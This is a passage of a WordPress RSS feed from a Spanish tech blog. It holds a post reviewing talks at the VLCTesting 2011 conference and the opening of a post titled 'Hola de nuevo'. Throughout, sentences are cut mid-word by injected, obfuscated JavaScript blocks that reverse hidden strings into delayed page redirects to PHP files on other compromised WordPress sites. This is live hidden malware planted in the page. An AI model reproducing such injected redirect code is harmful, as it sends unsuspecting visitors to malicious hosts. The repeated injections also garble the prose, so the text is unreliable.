$NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to de deuda técnica, que es la medida en € de lo que costaría conducir el proyec<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to a unos estándares adecuados de calidad. Y los números asustan.</p>
<p>La siguiente presentación trataba el mismo tema pero de una forma un tan<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to más densa. En resumen: medir para saber dónde actuar.</p>
<p>Y antes del café, Maite Tamayo nos desveló lo que era un <a href="http://es.wikipedia.org/wiki/Metrolog%C3%ADa">sistema metrológico</a> – a mí me tenía intrigado – y cómo tuvieron que meterse en la cabeza de los metrólogos y lidiar con sus máquinas para poder testear en condiciones un sistema bastante complejo. Fue bastante específica pero me hizo gracia ver cómo las cosas se iban complicando por momen<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos.</p>
<p>La última parte pretendía ser más práctica y lo consiguió a medias. Empezó bien con la usabilidad de la mano de <a href="http://jordisan.net/">Jordi Sánchez</a> y el botón de los $300M. Uno de los grandes olvidados en el diseño de UI es la usabilidad y la presentación mostró cómo puede ser la diferencia entre el éxi<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to y el fracaso, cómo un simple botón puede llevarnos a la ruina por no tener en cuenta a los usuarios. Además curiosamente fue la única presentación que trató algo sobre los en<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tornos web, que desde el pun<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to de vista del testeo son muy interesantes.</p>
<p>El software crítico no tiene fallos ¿por qué? Pues nos los explicó Eduardo Lluna, también del ITI: cómo se desarrollan proyec<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos para este tipo de software que no puede tener errores. Básicamente se trata de hacer, revisar y verificar de forma minuciosa en cada una de las fases de desarrollo, que además son bastante estrictas.</p>
<p>Y para terminar una pequeña introducción al testing combina<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>torio y un algoritmo desarrollado por la ponente en su doc<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>torado y su aplicación a un sistema financiero real de proceso de pagos con tarjeta. El testing combina<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>torio la verdad que puede tener sus usos, está bien tenerlo en el arsenal de técnicas.</p>
<p>Y hasta aquí llegó mi VLCTesting. Al final no fui al AutumnTest pero a ver si a la próxima me apun<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to a esas cervezas.</p>
<p>Nos vemos el año que viene.</p>
<p>Enlaces</p>
<ul>
<li><a href="http://vlctesting.es/">VLC Testing 2011</a></li>
<li><a href="http://www.softqatest.net/?p=524">Resumen VLC Testing 2011</a> de An<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tonio Robres</li>
</ul>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.climens.net/2011/11/15/reflexiones-tras-vlctesting/feed/</wfw:commentRss>
			<slash:comments>3</slash:comments>
		
		
			</item>
		<item>
		<title>Hola de nuevo</title>
		<link>http://blog.climens.net/2011/09/03/hola-de-nuevo/</link>
					<comments>http://blog.climens.net/2011/09/03/hola-de-nuevo/#respond</comments>
		
		<dc:creator><![CDATA[Marc Climent]]></dc:creator>
		<pubDate>Sat, 03 Sep 2011 13:22:59 +0000</pubDate>
				<category><![CDATA[Sin categoría]]></category>
		<guid isPermaLink="false">http://blog.climens.net/?p=5</guid>

					<description><![CDATA[Podría decir que este blog es nuevo pero en realidad dista bastante de serlo. Necesitaba un sitio donde poner entradas en español relacionadas con mi propia experiencia tecnológica apartadas de climens&#8217; codelog, que quedará reservado a las entradas en inglés &#8230; <a href="http://blog.climens.net/2011/09/03/hola-de-nuevo/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<p>Podría decir que este blog es nuevo pero en realidad dista bastante de serlo. Necesitaba un sitio donde poner entradas en español relacionadas con mi propia experiencia tecnológica apartadas de <a title="Climens' codelog" href="http://codelog.climens.net">climens&#8217; codelog</a>, que quedará reservado a las entradas en inglés únicamente, pasando <script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return 